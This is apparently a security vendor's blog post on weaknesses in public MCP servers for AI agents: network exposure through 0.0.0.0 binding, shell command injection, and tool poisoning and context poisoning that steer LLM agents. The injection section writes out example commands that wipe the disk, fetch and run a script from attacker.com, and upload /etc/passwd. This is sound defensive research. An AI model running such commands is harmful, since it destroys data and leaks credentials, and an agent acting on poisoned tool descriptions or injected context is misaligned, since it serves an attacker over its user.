Threat Research: Hundreds of MCP Servers Vulnerable to Abuse

Model Context Protocol (MCP) servers are critical infrastructure for AI agents - enabling access to tools, documents, and local environments. We’ve already blogged about top risks MCPs present in IDEs, and about the three types of MCP risks and how to assess them. 

Now let’s understand some of the research findings behind the curtain. The Backslash team conducted research across thousands of publicly available locally-executed MCPs and analyzed their code for a wide range of security risks - including prompt injection, data manipulation, and malicious payload execution.

Methodology and Key Findings

The Backslash team analyzed thousands of publicly available MCP servers. At the time of writing, we covered about half of what is available, and this is an ongoing effort. We scanned MCPs for code vulnerabilities and other weaknesses, and also checked them for malicious patterns, including:

• Tool Poisoning: Hidden instructions in tool descriptions aiming to subvert LLM/tool behavior.
• Rug Pull Attack: The registered tool logic is changed/replaced at runtime by attacker-controlled code.
• Tool Shadowing: Legitimate tool replaced/overridden by a malicious one.
• Data Exfiltration: Code deliberately leaks sensitive data externally, such as secrets or token theft.
• Malicious Backdoor Entrance: Code deliberately enables unauthorized or persistent access.

While our analysis did not yield obviously malicious MCPs, we did find a startling number of dangerously misconfigured or carelessly built servers. We identified two pervasive categories of weaknesses, which when combined can cause very high risk to the user’s environment and applications.

Network Exposure - MCP ‘NeighborJack’ vulnerability

The most common issue we found, with hundreds of cases observed, was MCP servers that were explicitly bound to all network interfaces (0.0.0.0), making them accessible to anyone on the same local network.

Real-world risk: Imagine you’re coding in a shared coworking space or café. Your MCP server is silently running on your machine. The person sitting near you, sipping their latte, can now access your MCP server, impersonate tools, and potentially run operations on your behalf. It’s like leaving your laptop open - and unlocked for everyone in the room.

Code example:

This code exposes the MCP server to anyone on the network by binding it to all interfaces (0.0.0.0).

Excessive Permissions & OS Injection

The second most common issue, dozens of instances, MCP servers were discovered that allow arbitrary command execution on the host machine. Whether it’s through careless use of a subprocess, a lack of input sanitization, or security bugs like path traversal.

Real-world risk: The MCP server can access the host that runs the MCP and potentially allow a remote user to control your operating system.

Code Example:

At first glance, this function seems simple, it takes a string (command) and executes it as a shell command on the system. Whatever the output is, it returns as a string.

But there's a serious problem. This code blindly trusts the input it receives and executes it directly on the system's shell. If an attacker controls the command input , they can run any system command they want.

Some examples of what can be executed:

1. Command: rm -rf /
   What it does: Deletes everything on the system.
2. Command: curl http://attacker.com/script.sh | bash
   What it does: Downloads and runs hacker code from the internet.
3. Command: curl -X POST -d @/etc/passwd http://attacker.com/leak
   What it does: Uploads system password file to an attacker-controlled server.

A Critical Toxic Combination

When network exposure meets excessive permissions, you get the perfect storm. Anyone on the same network can take full control of the host machine running the MCP server - no login, no authorization, no sandbox. Simply full access to run any command, scrape memory, or impersonate tools used by AI agents.

And yes, we found several servers with this exact combination.

The Bigger Picture: AI Risk via Context Abuse

Beyond code execution, MCPs can serve as stealthy pathways for prompt injection and context poisoning. Malicious or manipulated public content can change what an LLM sees - returning misleading data, or rerouting agent logic.

As part of this research, in a yet-to-be-released finding, we identified an exploit path involving a seemingly benign public document that becomes the trigger for a cascading compromise - because the MCP silently connected it into the LLM agent’s logic without proper boundaries. The issue wasn’t a vulnerability in the MCP code itself, but rather in the configuration of the data source it accessed. This issue affects a very popular tool with 10,000s of users, and we’re currently working with the vendor to coordinate responsible disclosure.

What You Can Do Today

Recommendations for MCP consumers

To support the community, we launched the Backslash MCP Server Security Hub - a live, searchable MCP risk database. It includes data from unverified publishers, while findings from verified repos are under responsible disclosure.

We encourage anyone considering using an MCP server to first look it up on the Hub, in order to ensure it is safe to use.

Recommendations for security teams

Backslash also offers a free self-assessment tool that scans your developers’ environment for:

• Active MCP servers
• Risky IDE plugins
• AI rule misconfigurations
• Unprotected/unapproved LLMs 
  

You’ll get visibility in minutes - and it’s free (requires registration)

Backslash Self-Assessment Dashboard:  Backslash MCP Server Security hub:  https://mcp.backslash.security

Recommendation for MCP developers

If you’re planning to write your own MCP (which is very easy to do) - be sure to follow these best practices:

• Prefer stdio transport for local MCP tools instead of SSE (Server-Sent Events). If SSE is required locally, restrict access to 127.0.0.1 only

• Validate and sanitize all external input, especially data used in:
  
  • Prompt construction
  • File paths
  • Network requests
  • Shell/Command executions

• Restrict filesystem access: Limit read/write operations to predefined directories.
• Avoid leaking internal data (e.g., secrets, tokens, or internal logs) in tool responses or LLM prompts.
• Implement clear access controls on APIs and tool functions to ensure only authorized calls are allowed.
• Validate the source of the data that your LLM agent is receiving to avoid potential data source poisoning. 

‍